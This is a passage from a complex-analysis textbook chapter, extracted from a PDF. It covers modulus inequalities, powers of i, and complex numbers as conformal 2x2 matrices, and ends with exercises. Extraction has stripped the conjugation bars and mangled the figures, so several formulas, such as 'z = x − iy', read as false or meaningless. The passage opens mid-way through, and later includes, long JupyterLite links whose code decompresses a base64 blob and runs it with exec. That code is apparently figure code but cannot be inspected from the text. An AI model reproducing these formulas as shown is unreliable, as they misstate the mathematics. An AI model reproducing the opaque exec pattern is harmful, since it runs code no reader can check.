rOjlY93y0bV4n%2B4CfHkaeEui7SXx9pKIe7kgdZ9ureTTrWV8urWGT5sLmC5vG7%2B0JO9msASPKZD86Q6rY6%2B88YbUSnfedJ%2FT4RFVCOEBNpKYky66%2FhRJ0hdzqTkVJYe2NH9On%2FsH9PmsRR6f39wjfLAhfNjaEF6GWpr%2BPEunsNDCtLQQEE7L4JjVEgsrsVhJLCoJmm%2BtwvnCDrtZD3OeCeymFfa%2BAlobJFNtTGFlhS3%2BuS9RFWTYvyL5PMNpZkA3%2BINi7pPa0KTxpG%2BLTzpDDxCEBNaLoNIj5mOqVWkPUK2iOn4zfN6CsuymgzerQsyv%2F6%2BMRYXAW9%2Fj8dv3d5z2UtzvGhsMYHfr%2BN7m1uw12BCb0U6gO2Ce76FimYzqET7ObYZuUcjUmzQxY22NW%2FvM%2FrbBlf94%2Bdhdrvp0I54bC0i0H3iGAmHbcNj1HbNYr25BYG6gkuakDV6519ngb89M0Uf3mBzBRrH2ooUHCk3kXtHxY2l%2FnGmw680vawUR3ZH4V7lPSFJ5SkwDPiNdK4ftV0YT5aX5qIPe1Zmoug52sUUloC3luxPkFzpV2G%2BBO4efUw66j1pd90RKos9u6nIQzhPUK%2FPZ1F608%2FOAbK3TiBtjHDR0NaXrQDnvpr0qVuzrOlxsXqNpesHm6HXs8C6lrfQBacLfeYLgduX3Dh0ciMV9ugO3KI6yYoDalVeZ7hFdHtBtnT26UWHv7tthYYITOyaqmjd%2FoQDak%2Br3uXt%2FMOyssV3%2FatR51qxKtIfvnTIBC92Pg%2B6UURYao%2BvzNGUsPYapU1EyTu6MgtXvhPUdetcvk6G9NqfzpU9J%2FqDlrX9hsoe3Q%2FtR%2FTC18WNSvz9Eau%2F3Q6XLLAUDPfXp1ra7F5HTYB%2BSqh%2BWC6opfCpR%2Fb4zMcSkfuD9DyZzbNA%3D%27%29%29.decode%28%29%0Aexec%28src%29
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∣∣∣ zw ∣∣∣ = |z|
|w|

(w ̸= 0); (1.25)

|Re z| ≤ |z| , |Im z| ≤ |z| ; (1.26)
|z + w| ≤ |z| + |w| (triangle inequality); (1.27)∣∣ |z| − |w|

∣∣ ≤ |z − w| (reverse triangle inequality). (1.28)

Proof. Write z = x+ iy, w = u+ iv, x, y, u, v ∈ R.
(1.22): x2 + y2 ≥ 0 always, and equals 0 iff x = y = 0.
(1.23): z = x− iy has the same x2 + (−y)2.
(1.24): by (1.19) and (1.15),

|zw|2 = (zw)(zw) = zwzw = (zz)(ww) = |z|2 |w|2 ,

using commutativity. Taking non-negative square roots of both sides of an identity between
non-negative reals gives (1.24).

(1.25): apply (1.24) to z = (z/w) · w and divide by |w| ≠ 0.
(1.26): |Re z| = |x| =

√
x2 ≤

√
x2 + y2 = |z|, and similarly for Im.

(1.27): expand using (1.19),

|z + w|2 = (z + w)(z + w) = (z + w)(z + w)
= zz + ww + zw + wz = |z|2 + |w|2 +

(
zw + zw

)
= |z|2 + |w|2 + 2 Re

(
zw
)
,

where the last step used (1.18) and zw = zw. Now by (1.26) and (1.24),

Re
(
zw
)

≤ |zw| = |z| |w| = |z| |w| .

Therefore |z + w|2 ≤ |z|2 + 2 |z| |w| + |w|2 = (|z| + |w|)2, and taking non-negative square roots
gives (1.27).

(1.28): from (1.27) applied to z = (z−w)+w we get |z| ≤ |z − w|+ |w|, i.e. |z|−|w| ≤ |z − w|.
Interchanging the roles of z and w and using |w − z| = |−(z − w)| = |z − w| gives |w| − |z| ≤
|z − w|. The two inequalities together are exactly (1.28).

|z|

|w||z + w|

0

z + w

z

Figure 1.3. The triangle inequality (1.27), drawn. The direct route from 0 to z +w is the third side
of a triangle whose other two sides have lengths |z| and |w|; it can be no longer than the detour, and
it is exactly as long only when z and w point the same way (or one of them is 0).

Remark 1.14 (Equality in the triangle inequality). Tracing the proof, equality holds in (1.27) if
and only if Re(zw) = |zw|, i.e. if and only if zw is a non-negative real number. When w ̸= 0 this
says z = tw for some real t ≥ 0: the two vectors point in the same direction. We will meet this
condition again in Chapter 3.
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Proposition 1.15 (Powers of i). For every n ∈ Z,

in =


1, n ≡ 0 (mod 4),
i, n ≡ 1 (mod 4),
−1, n ≡ 2 (mod 4),
−i, n ≡ 3 (mod 4).

(1.29)

Proof. By Proposition 1.5, i2 = −1, hence i3 = i2i = −i and i4 = (i2)2 = 1. Writing n = 4q + r
with q ∈ Z and r ∈ {0, 1, 2, 3} gives in = (i4)qir = 1qir = ir. (For n < 0 the identity i−1 = −i,
verified by i(−i) = −i2 = 1, justifies the same computation.)

Re

Im

1

i

−1

−i

×i

Figure 1.4. The powers of i cycle with period four. Multiplication by i is a quarter turn counter-
clockwise, so four of them return every point to where it started — which is the statement i4 = 1
read as geometry rather than algebra.

−1.5 −1.0 −0.5 0.0 0.5 1.0 1.5

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

w= (1¡ s) z+ s iz; s= 1:00

every point moves in a straight line from z to iz

A straight line

−1.5 −1.0 −0.5 0.0 0.5 1.0 1.5

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

w= e i¼s=2z; s= 1:00

a quarter turn counterclockwise; four of them give i 4 = 1

B a path of maps
Figure 1.5 (animated). Multiplication by i. A: every point moves in a straight line from z to f(z).
B: a quarter turn counterclockwise; four of them give i4 = 1. C: the tiles on the left deform along
the path of B.
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C tiles (Figure 1.5, continued)

Warning 1.16 (The symbol
√

· ). It is common to write “i =
√

−1”. This is at best a mnemonic.
The symbol

√
was defined only for non-negative reals, and extending it naively to C breaks the

rule
√
a
√
b =

√
ab:

−1 = i2 =
√

−1
√

−1 ?=
√

(−1)(−1) =
√

1 = 1.

The error is in the step marked “?”. The equation w2 = −1 has two solutions, i and −i, and
no canonical way to prefer one of them arises from the algebra. In Chapter 10 we will introduce
a genuine square-root function on C by making a deliberate choice (a branch), and we will see
precisely which identities survive that choice and which do not.

1.5 Complex numbers as conformal matrices
There is a second model of C, inside the 2 × 2 real matrices, which will matter a great deal later:
it converts the Cauchy–Riemann equations of Chapter 14 into a single membership statement,
and it explains why the whole subject has no analogue in dimension three or higher.

Definition 1.17 (Rotations, similarities, and CO+(2)). Write R2×2 for the real 2 × 2 matrices
and

SO(2) :=
{
Rθ =

(
cos θ − sin θ
sin θ cos θ

)
: θ ∈ R

}
(1.30)

for the rotation matrices. Define the conformal orientation-preserving matrices

CO+(2) :=
{
λR : λ > 0, R ∈ SO(2)

}
⊆ R2×2, (1.31)

and write
CO+(2) := CO+(2) ∪ {0} (1.32)

for the set obtained by adjoining the zero matrix. The bar here does not mean complex conjuga-
tion: CO+(2) is the closure of CO+(2) in R2×2 (identified with R4). Indeed λR → 0 as λ → 0+;
conversely, if λnRn → M then λn = |λnRne1| → |Me1| =: λ, and if λ > 0 then Rn → M/λ,

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c01_muli_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z2zYS%2Fs5fgWPiC%2BjKjCjbaWKHmbZpWvvOTj2Jr5NEUTUQCUmIKJIlIFtUkvvt9yxAvVh2rv5Qj0ekgMVi99lXQF4qh6zMRM2HatRiw0pMZfPQLaZyI6srkbXYYFDM49dFLoMjj%2BFPTcuiMkwVmBJaPjlosakwZVaYTA3CsqY3JjRYG0s%2FrIopO72ozbjIw1Rp2nLJ5OTy%2FKzFmkFLjVVhkhVaklSBHWqmORFz3%2Fefq%2BmIqTT2y2Efrz7Tps5k7CezShfVUVlY2X1mlLHDmUomzBSsFDMt%2FRfec51UqjQvvCtRsXLIYnat8rS4Du375%2BER6%2FZabHLE2i1WzfIjZqqZ%2FApIsG3M0iKZTWVuwpE0rzJJrz%2FVpylfShMce3iERe72jdlwlidGFTnjAfuM%2FULwxPA%2F3Nsx%2B3rsaWlOG7z5DXLor4aMN7TsyxdaP2EvYnoOw0zmIzMOWCXNrMqPiRpb6yphjqBL1L1jtyhm3D6%2FY1HAdnbYTnrsQaudFBI%2Ff9xgAnjZDuPbXhAEzhRDKVPC4KZFgpUJ%2BzDLJdBqqIuKTcCDVSIfyYZp40XOMzDAJ8FqYDAjC6gi%2FKk2Up%2F%2BxtdT8IZQiyuJJwdZi5jD7eAE%2Bch3TtpXeTKWOqb39ULMg6fz1HDw5EDmSZFK4kEWhG4zyYMgTKUd3tgQqoazMhVGOj0fLf3GQl%2FO9Jj7mBVHaipG8jH2OW7iYUf7wQrRR8ATcwDwAdvDH5N5yooh%2B9eshJLVmTLSRqGs7LQHC5zPMqNKuI%2BwjjCo2UP1ELNM5NjLjr1k3KgMaIberzKXFaRMiXAk8z5RaQSiizxdyoS%2BHbO8AKhH7K10%2FhWFHdrYIOjLkB3sHTKejNvR0cFhOzhmr%2BZiWmaS7YdRxxJ02nZ%2Bf68sMlGFRs6P9tuHgXdR%2F6JGLCnyK0QC%2BCJcxpI55RlSjMqlJutB%2BHRl8RYR5SwRWaZdDgrDELpAec9rckM%2Bm0IHJJK8XA6t84y3kXIQ1dz%2FcYTQu023lY8sIhuzSZFlDg69TEkXRVa%2FXA17HiWkKrkQkFwv%2FeGzDx5jQGDCYZEbhK9%2FxPxkCkf0aSAciqnKahrUslLD1bhWC4nRqPM18ErVYsD%2BFN6ZlyF9wwMD0SfP8yg3i2rEFy7JxnuWpIkdoIQ5m4UoujhRODoEN4yqeoQjUbrEsJwCj2mRcjwQj5nki4Dtubk9Fsk9MnSH7TppAsoTNNYIU16TLOIb4ix2dwWyqBlb46%2BEM2ICK%2F%2BFiE5%2FMdCQx45YPoRFVWlDcKfqSqXI5GqUF5X0KS0hbqkCNCMbOaXRGMuvx7KSvGIvKI8Tu3nJBdQj%2FbNixLdJKkAfWLU%2FgWoDfCS%2FFmsHDRDZt41CuoOzqKDA9A447mWrtXQOkjslamSZFgN%2B3mKLRgRO5oGsPEFCDoDr%2Bd%2BGp0VuAVEGAXuMDZpv6UqSsrgmUfQajfPdXW1LgCAXuJKVUQMklM68QxFYqfkRI5NogoydQ2yBCg1JkRvPi4GaaZCVumkfqH6fL5E6b1ymqpA4sGlq6lLGSUEJq8n8RHIOSUGm%2F6yMtbnKRTZCojf8vClnmZi22O%2BOWzMtUV%2FO3SwqL5kARN12DyFCL1EvgLcgMJ7dguh39gPxSZWw1nO67S7ticXwI0fSbAVQ%2BO%2BNIJCh2ecv%2Fx4ApkoMCtSHI6tnxvgpbPEaEL5mucpK5Pnc9V6vGxgyiE8y1ZJ3gi1v2xYUUrogcdTgTLOvl5ZOZoaXLfZmbehBJcUE1kP%2FdSUZVzlynmEjGC9gNsKYMiyTKN7axgN6hYSsXImUrPyGwUc%2BIdlrJpKq0MjEZmnpctPS5Z2WHgjqSP4LKqVRbFBOeRmwL2wZQSUZ7I2jpV0cx6rf%2FUVkFIoNmbXccAhySw%2FM9ntOhC7t8MWu7bnFucg3MSwbZLQcce1y5M2cUFbFqJJQjLfJj9F%2BQXuBthV9AxARhtpMDaxQ0QH2qJCN2wsiH2wliKnK%2BVTMOYyGjsCG48C%2BIUmFbXxG4SpZDTNVUtIwgC4%2BwPhaLmJlhctELlmB%2BIS3FzNjB2HRjIm5gjqZmkgbmiOApaXL56WsqK8wigxu4ugI2WDvBXUBn5CNlgLXgGsRUnu0KT9fhJZ9k9Zq53pJYW1QKnw11gVT0iwFWUOhofcGRaMhBREpuNasIkmq3V0e7XVMwERWoAOUIhnD4Wp0J3HElHNEm5U09UKLx18WX%2F7okGo0MYMbsURVSSZvZ2eXltkugiQC7h0rjhORQskqtVFiN01Rb4racLyJxi0kKNE6CJs6jPaElwaGmd10skFVULFFbiGfqorZaMwsHWWLqUTC1a5FnJGW3XYrWlUekDVxpptIo3V3xNpklSp1KRLJUTUjeIjMaUWwnVjs4aHkM5ylWrSHVTTY0PQWAelJeEkqjzYjDlLBrnASCw8BNX3egugq8N6%2BPHn1M%2Bi78P8ehqI2NsmUNpwY8dsSo8O1dbUbNQuefHMBqNvNAs87WQsFQ6KXXtl8t1SPO7s62F14b0B0CEm%2Blb1tmkSuQ15ELmUDWRfojM0YTukyond2en56%2BZYObHtR%2BIQCGh%2BrV%2Bj7n58w%2BUiwP2eiAoTMIp4UM8ITh%2Bdkcg1jH6P4zipKNXCPKRtRrD5UfxzE0cNH3uXp5dkrYvLwOpZ%2FfFYfPwJM%2FbjzddH6%2BBFsU6bjnbAztKRnr%2F59%2BvrnFqO3H9%2F8SpI9SrDzoxZJaBFtHgf4D7yT07PTS%2BLejTDwrOd5b%2FuvLmgZCucT70Rvw3hCcUE5DW5nSQE2rY%2FanpR3%2BtyrFp2j7FE%2Ftok88C7PaMeeh7K9FJnFMdpySOq7UJlj8RyrazxrPHPsikVLvSzNeN5iY8pcfE7hPW9ThgUhr%2Blrbb9OV8fbT%2Bvj7XTzZIsptZ7KN6boj0oEdpiTn5IP0541faHAGNc3aC%2FPQlGWUJZbx89xKJQ5dXFdgQXjOVZIuQyqAXVRdrQZQGn4jtQhoqDlsXv9rRjbBIeFW9wCt8vWBkvioAfrSZikSXPUWjusDV5NdBfm6L3HhjCviEm1wtzQV%2FN3Yl6tMK9IoCXm5p6Yc4tN5fDcSvq29Xbz21MOJeOW3dsO681W2N7NN7AW%2BdaWq8XWMhc%2F2sDv%2Bg%2FSoXw6PKSz6YPhE7mf7vs97%2BVvNoqIqMsVoROwHdbp3Qb%2BNt49z174tFhCowt0Hi4RtGgz%2Bf2T4WFkN%2BuIZ%2BnTod9rDIQtuxPqrJJlHzUurlFRgiN2n2bYXoO4LqoU6LFyKSBXblvB2mbZsUpTmW9X8SzjN3vGwN5Q0BkZiWjVPAbsOXsDwUDftI43%2FOFEc0OnHouGPeEhDdG7pvfbeSuKYIQlM3p0N4WggYD9c9W7uu8QILBpzdUFh9o78HsHhu%2FxfB%2BBmZvcCLxbFMTN1uCQWkhymfUAVF4OUBG%2BQeEGiMLytbegqG9Ui2n0HbnXO7fJHnYL7t79XRuz0xGNwq3o5f1y5L0b8T7cBvjyLPAWlLYXlLcXlLgXNbH7cEOTDzfU%2BHBDhw%2BbCkwXN4Vf2CTvdrAJHlug0NN9VWzvovE2q%2BxlNN3dxDyibiA8QCCJOfGie0mRpn0xl5pTA3Jo2%2FCn9Ll%2FQJ%2Ffd8ji8%2Bs7iA82iA87G8SLUEvTn2dqCgktTAsLAeG0CI7ZkqK2FPWKom4oaL81C2cLu%2Bx6vcxZJrBBK%2BzdBLi2iKYJTGFphW30uS%2FRFWSIX5F%2BmuHkMqCr9UEx94ltaFQy6dtGk87LAzghgfUsaPiI%2BZj6UoqBpMiKKvbb4dMOmGXXMd4sCzG%2F%2Br80FhUCb31nx2%2Fe1XGKpaTfNdYZkN2t4XubodlrsSGC0W6gY2Se%2B6RimY6WK3yc0QzdmJCo1yo1Y22FW9vM%2FujAK%2F%2Fh4uGePVr5dFWdGwtItB94hhxhW3DIdY9drFW3IDDXYEl7UoA35nUy%2BNs7k%2FfRnSWHs5GvPevggV4StVfEfiLtryYtdrX5Zc0govsQ%2F2PuE5LUgVKmQT4jXiuD7TdCU8pT%2BSjG7Or801z9Ot%2BiFtC27d0J6gudIOy3wJ25L6gG3ZVa3fRESkqfXeVqEM4ONCvz2dRehPOLgGRdlhG3xjho6BpKLx3loqt6ja%2FY17W72LpG2%2FSCzdVr3%2BFdKlvqG9SEv7MEwe167R2o4lEW9%2Bm%2B26I4yooBelfeVLoHdFFAN3P2mEZnOne3DglTNPnYqBne%2FOkAaE%2BaH87u%2FCUvXmO7%2Fjkn%2Fr7dtGjfvmPKBCR0v9q5K%2F2y0HTWaM7OVLH0GKJORck4mTMKVj%2FgLe%2FLu36ZDu0VOZ0lfSryBx1v%2FdOPPagd2o%2FmF6ONX3n6%2FSFKe78fVrrMFDLQY59uaLt7ERkN8qGo%2BmFZU0%2FhU4vq952IITb1A%2B9%2FqEJLNw%3D%3D%27%29%29.decode%28%29%0Aexec%28src%29
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which again satisfies RTR = I and detR = 1, so M ∈ CO+(2), while if λ = 0 then M = 0 (each
Rn has entries of modulus ≤ 1). Finally let

C :=
{(a −b

b a

)
: a, b ∈ R

}
⊆ R2×2. (1.33)

The point of the section is that these three descriptions — complex numbers, similarities of
the plane, and the special matrix shape (1.33) — are the same object.

Lemma 1.18 (What conformal means for a matrix). Let M ∈ R2×2 be invertible, and regard it
as a linear map R2 → R2. The following are equivalent:

(i) M preserves angles and orientation: for all nonzero u,v ∈ R2 the angle from Mu to Mv
equals the angle from u to v, including sign;

(ii) there is λ > 0 with ⟨Mu,Mv⟩ = λ2⟨u,v⟩ for all u,v, and detM > 0;

(iii) MTM = λ2I for some λ > 0 and detM > 0;

(iv) M ∈ CO+(2);

(v) M =
(
a −b
b a

)
for some (a, b) ̸= (0, 0).

Proof. We prove (i)⇒(iii), (ii)⇔(iii), (iii)⇒(v)⇒(iv)⇒(iii), and (iv)⇒(i). Throughout, the signed
angle θ (modulo 2π) from a nonzero vector u to a nonzero vector v is determined by

cos θ = ⟨u,v⟩
|u| |v|

, sin θ = det[u v]
|u| |v|

.

(i)⇒(iii). Let e1, e2 be the standard basis; the angle from e1 to e2 is π/2. By (i) the angle
from Me1 to Me2 is π/2 as well, so ⟨Me1,Me2⟩ = 0 and detM = det[Me1 Me2] > 0. Next, the
angle from e1 + e2 to e1 − e2 is −π/2, so by (i) these images are orthogonal too:

0 = ⟨Me1 +Me2, Me1 −Me2⟩ = |Me1|2 − |Me2|2 .

Hence the two columns Me1,Me2 of M are orthogonal and of the same length λ := |Me1|, which
is > 0 because M is invertible. The entries of MTM are the inner products of the columns of M ,
so MTM = λ2I.

(ii)⇔(iii) is the definition of the transpose: ⟨Mu,Mv⟩ = ⟨MTMu,v⟩, and two symmetric
matrices agree iff their bilinear forms do.

(iii)⇒(v). Write M = ( p qr s ). Then MTM = λ2I says

p2 + r2 = λ2, q2 + s2 = λ2, pq + rs = 0. (1.34)

So the columns (p, r) and (q, s) are orthogonal and of equal length λ > 0. In the plane, the
vectors orthogonal to (p, r) of length λ are exactly ±(−r, p). Hence either (q, s) = (−r, p), giving
detM = ps − qr = p2 + r2 = λ2 > 0, or (q, s) = (r,−p), giving detM = −p2 − r2 < 0, which is
excluded. Therefore M =

( p −r
r p

)
, which is (v) with a = p, b = r.
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(v)⇒(iv). Here we use the existence of an argument, which is proved in Theorem 3.2 inde-
pendently of this section. Given (a, b) ̸= (0, 0) put λ :=

√
a2 + b2 > 0 and let θ be an argument

of a+ ib in the sense of Definition 3.1, so a = λ cos θ and b = λ sin θ. Then(
a −b
b a

)
= λ

(
cos θ − sin θ
sin θ cos θ

)
= λRθ ∈ CO+(2).

(iv)⇒(iii). If M = λR with RTR = I and detR = 1, then MTM = λ2I and detM = λ2 > 0.
(iv)⇒(i). Let M = λR as before and let u,v be nonzero. Then ⟨Mu,Mv⟩ = λ2⟨RTRu,v⟩ =

λ2⟨u,v⟩, in particular |Mu| = λ |u| and |Mv| = λ |v|; and det[Mu Mv] = detM det[u v] =
λ2 det[u v]. Dividing by |Mu| |Mv| = λ2 |u| |v|, the cosine and the sine of the angle from Mu to
Mv equal those of the angle from u to v, so the two angles coincide (modulo 2π), sign included.

Theorem 1.19 (C is the field of conformal matrices). Define Φ : C → R2×2 by

Φ(a+ ib) :=
(
a −b
b a

)
, a, b ∈ R. (1.35)

Then:

(i) Φ is injective with image C, and

C = CO+(2) ∪ {0} = CO+(2); (1.36)

(ii) Φ is a field isomorphism of C onto C, where C carries matrix addition and matrix multipli-
cation:

Φ(z + w) = Φ(z) + Φ(w), Φ(zw) = Φ(z) Φ(w), (1.37)

with Φ(0) = 0, Φ(1) = I, and Φ(z)−1 = Φ(z−1) for z ̸= 0. In particular C is a commutative
field, even though R2×2 is not commutative;

(iii) the dictionary of invariants is

Φ(i) = J :=
(

0 −1
1 0

)
, J2 = −I, det Φ(z) = |z|2 , Φ(z) = Φ(z)T, 1

2 tr Φ(z) = Re z;

(1.38)

(iv) under the identification of C with R2 by x + iy ↔ (x, y)T, the matrix Φ(z) is exactly the
matrix of the R-linear map

µz : C → C, µz(w) := zw. (1.39)

Proof. (i) Injectivity and the description of the image are immediate from (1.35) and (1.33).
Equation (1.36) is Lemma 1.18 (iv)⇔(v) for the nonzero matrices, together with the observation
that

(
a −b
b a

)
= 0 exactly when a = b = 0.

(iv) Let z = a+ ib and w = x+ iy. By (1.11),

zw = (ax− by) + i(bx+ ay), i.e.
(
a −b
b a

)(
x
y

)
=
(
ax− by
bx+ ay

)
,
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which is precisely the claim.
(ii) Additivity is clear from (1.35). For multiplicativity, note that by (iv) the map µzw equals

µz ◦ µw, because (zw)u = z(wu) by associativity in C (Theorem 1.2); and the matrix of a
composition of linear maps is the product of the matrices. Alternatively, multiply out:(

a −b
b a

)(
x −y
y x

)
=
(
ax− by −(ay + bx)
ay + bx ax− by

)
= Φ

(
(ax− by) + i(ay + bx)

)
= Φ(zw).

Since Φ is an injective ring homomorphism onto C and C is a field, C is a field isomorphic to it;
in particular Φ(z)Φ(w) = Φ(w)Φ(z), so these matrices commute with one another even though
general 2 × 2 matrices do not. Inverses correspond because Φ(z)Φ(z−1) = Φ(1) = I.

(iii) Φ(i) = Φ(0+1·i) =
( 0 −1

1 0
)

= J , and J2 = Φ(i2) = Φ(−1) = −I by (ii) and Proposition 1.5.
Next det Φ(z) = a2 + b2 = |z|2 by (1.21). Transposing

(
a −b
b a

)
gives

(
a b

−b a

)
= Φ(a − ib) = Φ(z).

Finally tr Φ(z) = 2a = 2 Re z.

Remark 1.20 (What each fact means geometrically). Theorem 1.19 repackages several things
already proved.

(a) det Φ(z) = |z|2 says that multiplication by z scales areas by |z|2; since Φ(z) is a similarity
(Lemma 1.18), it therefore scales lengths by |z| — which is (1.24).

(b) The factorisation Φ(z) = λRθ with λ = |z| is exactly the polar decomposition (3.7), and
the statement “multiplying by z rotates by arg z and scales by |z|” of Theorem 3.11 is the
statement that Φ(z) is a similarity.

(c) J2 = −I is the equation i2 = −1: the quarter turn done twice is the half turn. Any real
matrix J with J2 = −I turns R2 into a copy of C by (a + ib) · v := av + bJv; this is the
beginning of the theory of complex structures.

(d) Φ(z) = Φ(z)T pairs conjugation with transposition. Note that reflection
( 1 0

0 −1
)
, which is

the matrix of w 7→ w, is not in C: it has determinant −1. Conjugation is conformal but
orientation-reversing, and that single fact is why z is not differentiable anywhere (Exam-
ple 13.4).

Re

Im

Φ(z)e1 = z

θ

Figure 1.6. The matrix Φ(z) = λRθ acting on the plane, for z = λeiθ with λ = 1.4 and θ = 35◦. A
similarity carries the unit square to a square: angles and shape are preserved, only the size and the
direction of the frame change. Every element of CO+(2) looks like this, and by Theorem 1.19 every
element of CO+(2) is a nonzero complex number.
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B a path of maps

Figure 1.7 (animated). Multiplication by a = 1.4 ei35◦
, f(z) = az. A: every point moves in a straight

line from z to f(z). B: rotate by arg a = 35◦ and scale by |a| = 1.4: the unit square goes to a square.
C: the tiles on the left deform along the path of B.
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rotate by arg a= 35 ±  and scale by jaj= 1:4: the unit square goes to a square

C tiles (Figure 1.7, continued)

1.6 Exercises
Exercise 1.1. Put each of the following in standard form x+ iy with x, y ∈ R:

(3 − 2i)(1 + 4i), 1
2 − 5i ,

(1 + i)3

1 − i
, i2026,

3 + i

i
.

Exercise 1.2. Prove that Re(iz) = − Im z and Im(iz) = Re z for every z ∈ C, and interpret the
result geometrically after reading Chapter 2.
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https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c01_mult_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWW1z2zYS%2Fs5fgWPsC%2BjSjCjbeZGrzLVp2vjOTj2Jr5NEUTwQCUmIKJIlIFtSnPvt9yxASrLsXPPhPB6RAhaL3WdfAXmpHLIyEws%2BVKOQDSsxlfVDh0zlRlZXIgvZYFDMu6%2BLXAYdj%2BFPTcuiMkwVmBJaPj4M2VSYMitMpgZRuaA3JjRYG0s%2FrIopOzlfmHGRR6nStGXD5NXF2WnI6kFLjVVRkhVaklSBHaqnORFz3%2Fd%2FVNMRU2nXL4eXePWZNotMdv1kVumi6pSFld1nRhk7nKlkwkzBSjHT0n%2Fu%2FaiTSpXmuXclKlYOWZddqzwtriP7%2FmXYYb1%2ByCYd1gpZNcs7zFQz%2BRWQYNsuS4tkNpW5iUbSvMwkvf68OEl5I01w7OERFbnbt8uGszwxqsgZD9gX7BeBJ4b%2F5t6O2ddjT0tzUuPNb5FDfzVkvKZlNze0fsKed%2Bk5jDKZj8w4YJU0syo%2FJmpsrauEOYIeUfeP3aIu4%2Fb5A4sDtrvLdtNjD1rtppD4x0c1JoCX7TK%2B7QVB4EwxlDIlDG5bJFiZ8BJmuQBaNXVRsQl4sErkI1kzrb3IeQYG%2BCRYDQxmZAFVRD8vjNQnv%2FP1FLwh0uJK4slBFhJzuB2cIB%2F5zkkvVZ6Mpe7S%2B3oh5sHTeWo0eHwo86RIJfEgC0K3meRBEKXSDm9sCFWjWZkKI52eDxu%2FsdCXMz3mPmZFR03FSD7CPsd1POxqP1gh%2BhB4Yg4APmD7%2BGMyT1kxZP%2BclVCyOlVG2iiUlZ32YIGzWWZUCfcR1hEGC7YjunF0%2BDGUn76og6NPHxNVJV93QrYz5MugK5Y7WMtEDknsiheMG5UB68j7Teaygg4psRnJ%2FJKoNMLUxaUuZULfjlleAPIOuxjLopJTFkfxM3BM2Rs5FdUE39sIhzJiz%2FbjFuPJuBV3jp4%2BCdnjJ0fBMWlAekQsbu3HcT3%2FpNXGVMPxIIpjywGMaf6g0249Dbzzxa9qxJIiv0IkQXiE21gyBx5DilK51GR9K0zjMSER5SwRWaZdDouiCNoCPM%2Brc0s%2Bm0JLJKK8bIbWecrbSFnICtz%2FaYTQvUu3lc8sZhuzSZFl0oarblLaeZEtXqyGPY8SWpWcC0iuG3%2F64oPH2Mi5iYZFbhD%2Bfof5yRSO7NNANBRTlS1oUMtKDVfjWi0lRuP218ArVciQsE%2Fg3XkZ0Tc8MBB%2F9jyPcruoRnzpknR335LUsQeUMGezGEUnJwpHh%2BTQZqXqE45E6RJLMwUe0yLleCCeMwnXY%2Ftubp%2FFcj9uh1i956QJKM%2FQWC1MeU2yiG%2BIs9zbE8jCZmyNvxLOiAms%2FBciOv3FQEMeO2L5EBZVpQ3BnaorlaISqFEOT%2FQprSHuqYLUIxs5qdYYy6%2FHspK8Ys%2BpDhC7eckF1CP9s2LEt0kqQB9YtT%2BDagN8JM%2BQtYIaiOzbRiHdwVlUUGB6DxzfZau1dA6SeyWqZZkWA34WsmUtAifzQFaeIKEHwPXs%2F4anRW4JUQYBe4QN6m%2FpSpKyuCZR9BqNs709bUuIIBe4kpVRg0yy9rxNEVipeYeRSTRBxs4gtkCFh6TIrWfFQM00yEpdtx9U%2F88apM5ql6kqJA5smppFKbtJMS0zWVcOIjmDpCDTf1bG2lzlIhuhUBh%2BVpfDTExD9ofjVk9L1KczN4vKTSYAUa%2FVR4jQS9wP4C0IjGd3IPqD%2FYP4pEpY6znd9hp7YjH8yJHUWwEU%2FkctCGSo9%2FnLvweAqRKDAvWlY%2FXMGD%2BBLV4DwtcsV1mJSpC73u11DUMG8UmmheTtYMvbtgWFlC5IHDU40%2BzrxtLJzPAyZG%2FWhh5UUkxgPfRvV5JxlSPnGTaC8QJmI4wpwzKJ4q9tPKDXSMjKlUjJym8YfOQzkr1mIqkKjUxsGkuXm5Yu77X0QFBH8x9QKY1ig3LMy4DdsCaCSjLYG0dLuziO1WXvV5FRKNZk1nLDIcgtPTA76DsRerTDjV3bd4tzkW9iWNbIaDni2uXI2zmhrIpRJaEYb5Efo32D9gJtL%2FoOICIMtakaWKHmA%2BxRIWu3F0Q%2B2EoQU5XzqZhzGA09gw3HgX1Dkopa%2BIyjVbIaZqqkpGEAXfcQ42u5iJUVLhO5ZAXiE95ezIwdhEUzJuYK6mRqIm1ojgCWli6fl7KizsMoMrjpxh1kg%2F3n1AV8RjZqBF4ArmVE7dWm%2FHwZWfZ1Wls410sKa4NS4auxLpiSZinIagoNvTcoag0piEjBtWYVSVLt7fF4v20CJrICHaQUyRgOt0B30o2Zco5os5Kmhmv56GZ586lNqtHEDG7EqEfL5N3s7NIy20OQxMC9bcVxIlIoWaU2SuymKRabotYcb6NxBwlKtA7Cug6jPeGlgWFmt51sUBVUbJFbyKeqYjYaM0tH2WIqkXC1ayJnpGWvFcarygOyOs50HWm07p5Ym6xSpS5FIjmqJlpCnGJoRbCdWOzho%2BQznMVC2sMqGmxoeoeA9CS8JJVHmxEHqWBXOMlFR4CaPu9AdBV4b1%2B8evkL6Hvw%2Fz6G0OD%2BACC04cSI35X4qBXYutqL6wWPv7kA1K16gee9WgsFQ6LbRlOPKre3Mj29pXLURmrjB0fBng72lt4brDqCaN9K5zZvIvkhUSK5soFcFGiVzRhe6lKkd3pydnLxFmzoGO%2B9%2FffPeH1YFVTM7eni40c0B0x06WhhzxY7ttvW6K8dwY24oQPITmft3vrPGe1okw2yjKgHHnoXJxenL2mDnWta8%2BmL%2FtocWyxvpr8uw48fQY0durtRe7hDi05f%2Fuvk9S8ho7ef3vxG0j5MRGUeoh9xqLvPQ%2FwH3quT05ML2qV3hNFW3%2FPeXr48p0WorY%2B9V3ob6VcUOpT24JmWFPag9XHLk%2FJet3wZ0lHN3iZ0ba4PvItT2rHvobI3ArNuF5075PRdNM2xeI7VCzwXeObYFYsarSzNeB6yMSU3PqcMMG9REgYhX9DXhf06XZ2gP69P0NPNwzOm1Hoq35iiP6oi2GFOrkxuTnsu6AvFznhxi%2F